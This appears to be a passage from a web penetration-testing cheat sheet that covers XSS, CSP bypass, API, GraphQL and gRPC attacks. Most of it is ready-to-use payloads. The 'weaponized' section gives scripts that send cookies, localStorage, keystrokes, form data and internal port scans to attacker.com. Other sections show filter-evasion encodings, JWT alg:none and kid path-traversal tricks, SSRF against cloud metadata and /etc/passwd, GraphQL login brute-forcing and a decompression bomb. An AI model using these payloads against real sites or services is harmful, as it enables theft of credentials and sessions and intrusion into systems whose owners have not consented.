Characteristic: Client-side only, no server reflection Source: location.hash, document.referrer, localStorage Sink: eval(), setTimeout(), innerHTML, location Detection: Source-to-sink tracing


### 4. mXSS (Mutation XSS)

Characteristic: Browser parser inconsistencies Source: HTML sanitizer output Sink: innerHTML after sanitization Detection: Browser-specific payloads


## PAYLOAD GENERATION FRAMEWORK

### Basic Payloads
```html
<!-- Classic -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- Event Handlers -->
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<input autofocus onfocus=alert(1)>
<textarea onfocus=alert(1) autofocus>

<!-- JavaScript URIs -->
<a href=javascript:alert(1)>click</a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)"><input type=submit>

Advanced Evasion Techniques

1. Encoding Bypasses

// HTML Entities
&lt;script&gt;alert(1)&lt;/script&gt;

// Hex Encoding
\x3cscript\x3ealert(1)\x3c/script\x3e

// Unicode
\u003cscript\u003ealert(1)\u003c/script\u003e

// Mixed Encoding
<scr&#x69;pt>alert(1)</scr&#x69;pt>

2. Case & Pattern Variations

<!-- Case Variation -->
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</sCrIpT>

<!-- Null Bytes -->
<script>alert(1)</script>

<!-- Extra Characters -->
<script/>alert(1)</script>
<script >alert(1)</script>
<script/**/>alert(1)</script>

<!-- Line Breaks -->
<script>
alert(1)
</script>

3. Attribute Splitting

<img src="x:image"onerror="alert(1)">
<input value="""onfocus="alert(1)"autofocus>
<iframe srcdoc="<script>alert(1)</script>">

4. Protocol-Based

javascript:alert(1)
JaVaScRiPt:alert(1)
javascript://%0aalert(1)
javascript:alert(1)//%0a
data:text/html,<script>alert(1)</script>

Context-Specific Payloads

HTML Context

<!-- Inside tag -->
<div>PAYLOAD</div>
Payload: </div><script>alert(1)</script><div>

<!-- Inside attribute -->
<div class="PAYLOAD">
Payload: "><script>alert(1)</script>

<!-- Inside script tag -->
<script>var x = 'PAYLOAD';</script>
Payload: ';alert(1);//

JavaScript Context

// Inside string
var x = 'PAYLOAD';
Payload: ';alert(1);//

// Inside function
function test(x){ x = 'PAYLOAD'; }
Payload: ');alert(1);//

// Template literals
var x = `PAYLOAD`;
Payload: ${alert(1)}

URL Context

// Hash
https://example.com/#PAYLOAD
Payload: <script>alert(1)</script>

// Query Parameter
https://example.com/?q=PAYLOAD
Payload: "><script>alert(1)</script>

// Path
https://example.com/PAYLOAD
Payload: <script>alert(1)</script>.html

WEAPONIZED PAYLOADS

Credential Stealing

// Basic credential theft
<script>
fetch('/account', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

// Keylogger
<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/log', {
    method: 'POST',
    body: String.fromCharCode(e.keyCode)
  });
};
</script>

// Form hijacking
<script>
var forms = document.getElementsByTagName('form');
for(var i=0; i<forms.length; i++) {
  forms[i].onsubmit = function() {
    var data = new FormData(this);
    fetch('https://attacker.com/hijack', {
      method: 'POST',
      body: data
    });
  };
}
</script>

Session Hijacking

// Session token theft
<script>
var cookies = document.cookie;
fetch('https://attacker.com/steal?cookies=' + encodeURIComponent(cookies));

// LocalStorage theft
var ls = JSON.stringify(localStorage);
fetch('https://attacker.com/steal?ls=' + encodeURIComponent(ls));

// SessionStorage theft
var ss = JSON.stringify(sessionStorage);
fetch('https://attacker.com/steal?ss=' + encodeURIComponent(ss));
</script>

Port Scanning

// Internal port scanner
<script>
var ports = [22, 80, 443, 8080, 3306, 5432, 27017];
var openPorts = [];

ports.forEach(function(port) {
  var img = new Image();
  img.onload = img.onerror = function() {
    openPorts.push(port);
    if(openPorts.length === ports.length) {
      fetch('https://attacker.com/report', {
        method: 'POST',
        body: JSON.stringify(openPorts)
      });
    }
  };
  img.src = 'http://localhost:' + port + '/test.png?' + Date.now();
});
</script>

Browser Fingerprinting

<script>
var fingerprint = {
  userAgent: navigator.userAgent,
  platform: navigator.platform,
  language: navigator.language,
  screen: {width: screen.width, height: screen.height},
  plugins: Array.from(navigator.plugins).map(p => p.name),
  timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
  cookiesEnabled: navigator.cookieEnabled,
  localStorage: !!window.localStorage,
  sessionStorage: !!window.sessionStorage
};

fetch('https://attacker.com/fingerprint', {
  method: 'POST',
  body: JSON.stringify(fingerprint)
});
</script>

CSP BYPASS TECHNIQUES

1. Policy Analysis

// Extract CSP policy
var csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]') ||
          document.querySelector('meta[http-equiv="Content-Security-Policy-Report-Only"]');
console.log('CSP:', csp ? csp.content : 'None');

// Common weak policies to test
// - default-src 'self'
// - script-src 'self' 'unsafe-inline'
// - style-src 'self' 'unsafe-inline'

2. Bypass Methods

// 1. JSONP endpoints
<script src="/api/user?callback=alert(1)//"></script>

// 2. AngularJS sandbox escape
{{constructor.constructor('alert(1)')()}}

// 3. Iframe CSP inheritance break
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

// 4. CSS injection to exfiltrate
<style>
@import 'https://attacker.com/steal.css';
</style>

// 5. Preload hijacking
<link rel="preload" href="https://attacker.com/malicious.js" as="script">

3. Dynamic Analysis

// Test CSP directives
function testCSP(directive, value) {
  var testEl = document.createElement(directive === 'script' ? 'script' : 'img');
  if(directive === 'script') {
    testEl.textContent = 'window.CSP_TEST = true;';
  } else {
    testEl.src = value;
    testEl.onerror = function() { console.log('Blocked:', value); };
    testEl.onload = function() { console.log('Allowed:', value); };
  }
  document.head.appendChild(testEl);
}

// Test common sources
testCSP('script', 'data:,alert(1)');
testCSP('script', 'https://attacker.com/evil.js');
testCSP('img', 'http://attacker.com/steal?data=' + document.cookie);

DOM XSS EXPLORATION

Source Identification

// Common DOM sources
var sources = [
  document.location.href,
  document.location.hash,
  document.location.search,
  document.referrer,
  document.cookie,
  localStorage.getItem('key'),
  sessionStorage.getItem('key'),
  window.name,
  document.baseURI,
  window.postMessage
];

// Sink identification
var sinks = {
  'innerHTML': ['div', 'span', 'p', 'td'],
  'outerHTML': ['div', 'span'],
  'document.write': [],
  'document.writeln': [],
  'eval': [],
  'setTimeout': [],
  'setInterval': [],
  'Function': [],
  'location': ['href', 'assign', 'replace'],
  'open': [],
  'postMessage': []
};

Source-to-Sink Tracing

// Manual tracing
console.log('Tracing DOM XSS...');

// Check URL parameters
var params = new URLSearchParams(window.location.search);
params.forEach(function(value, key) {
  console.log('Parameter:', key, '=', value);
  // Trace where this value goes
  traceValueInDOM(value);
});

// Check hash
if(window.location.hash) {
  console.log('Hash:', window.location.hash);
  traceValueInDOM(window.location.hash.substring(1));
}

function traceValueInDOM(value) {
  // Search for value in DOM
  var walker = document.createTreeWalker(
    document.body,
    NodeFilter.SHOW_TEXT,
    null,
    false
  );
  
  var node;
  while(node = walker.nextNode()) {
    if(node.nodeValue.includes(value)) {
      console.log('Found in text node:', node.parentNode);
    }
  }
  
  // Check attributes
  var elements = document.getElementsByTagName('*');
  for(var i=0; i<elements.length; i++) {
    var attrs = elements[i].attributes;
    for(var j=0; j<attrs.length; j++) {
      if(attrs[j].value.includes(value)) {
        console.log('Found in attribute:', elements[i], attrs[j].name);
      }
    }
  }
}

API TESTING METHODOLOGY

OWASP API Security Top 10 (2023) Mapping

API1: Broken Object Level Authorization

# Test horizontal privilege escalation
GET /api/v1/users/123/orders
GET /api/v1/users/456/orders  # Different user

# Test vertical privilege escalation  
GET /api/v1/admin/users
GET /api/v1/config/system

API2: Broken Authentication

# JWT attacks
## alg:none
Header: {"alg":"none","typ":"JWT"}
Payload: {"user":"admin","role":"admin"}

## Weak secret brute force
## kid injection
Header: {"alg":"HS256","typ":"JWT","kid":"../../../../etc/passwd"}

## JWK/JKU injection
Header: {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}

API3: Broken Object Property Level Authorization

# Mass assignment
POST /api/v1/users/register
{"email":"user@test.com","password":"123","role":"admin","is_admin":true}

PUT /api/v1/users/profile
{"name":"test","balance":10000,"is_active":false}

API4: Unrestricted Resource Consumption

# Rate limiting bypass
## Batch requests
POST /api/batch
[
  {"method":"GET","path":"/api/user/1"},
  {"method":"GET","path":"/api/user/2"},
  ...
]

## GraphQL batching
[
  {"query":"query {user(id:1){email}}"},
  {"query":"query {user(id:2){email}}"}
]

## Pagination attacks
GET /api/users?page=1&limit=10000

API5: Broken Function Level Authorization

# Function bypass
GET /api/admin/users  # As regular user
POST /api/admin/users/delete/all
PUT /api/system/config

API6: Unrestricted Access to Sensitive Business Flows

# Business logic bypass
POST /api/cart/checkout
{"items":[{"price":-100}],"coupon":"FREE100"}

POST /api/transfer
{"amount":1000,"from":"user1","to":"attacker","timestamp":"2020-01-01"}

API7: Server-Side Request Forgery

# SSRF in APIs
POST /api/fetch
{"url":"http://169.254.169.254/latest/meta-data/"}

POST /api/convert
{"file_url":"file:///etc/passwd"}

# Bypass techniques
## Decimal: http://0177.0.0.1
## Hex: http://0x7f000001
## IPv6: http://[::1]
## DNS rebinding: http://rbndr.us

API8: Security Misconfiguration

# Headers testing
GET /api/users
Origin: https://evil.com

# HTTP methods
OPTIONS /api/users
TRACE /api/users
PATCH /api/users

API9: Improper Inventory Management

# Version testing
GET /api/v1/users
GET /api/v2/users
GET /api/test/users
GET /api/dev/users
GET /api/staging/users

# Deprecated endpoints
GET /api/legacy/users
GET /api/old/users

API10: Unsafe Consumption of APIs

# Third-party API abuse
POST /api/webhook
{"url":"https://attacker.com/steal"}

GET /api/proxy?url=https://internal-server:8080

GRAPHQL SPECIFIC TESTING

1. Introspection Queries

# Full introspection
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

# Specific queries
query {
  __type(name: "User") {
    fields {
      name
      type {
        name
      }
    }
  }
}

2. Batching Attacks

[
  {"query":"mutation {login(username:\"admin\",password:\"test1\"){token}}"},
  {"query":"mutation {login(username:\"admin\",password:\"test2\"){token}}"},
  ...
]

3. Depth Limiting Bypass

query {
  users {
    friends {
      friends {
        friends {
          friends {
            email
          }
        }
      }
    }
  }
}

4. Field Duplication

query {
  users {
    email
    email
    email
    email
  }
}

5. Directives Abuse

query {
  users @include(if: true) {
    email
  }
  users @skip(if: false) {
    password
  }
}

GRPC TESTING

1. Service Discovery

# Reflection API
grpcurl -plaintext localhost:5000 list
grpcurl -plaintext localhost:5000 describe

# Protobuf analysis
protoc --decode_raw < message.bin

2. Fuzzing Techniques

# Invalid field types
{
  "user_id": 999999999999999999,
  "name": "A" * 10000,
  "data": null
}

# Type confusion
{
  "user_id": "string_instead_of_int",
  "active": "yes"  # bool expected
}

3. Compression Attacks

# Compression bomb
import zlib
compressed_bomb = zlib.compress(b"A" * 10000000)

# Decompression bomb in request
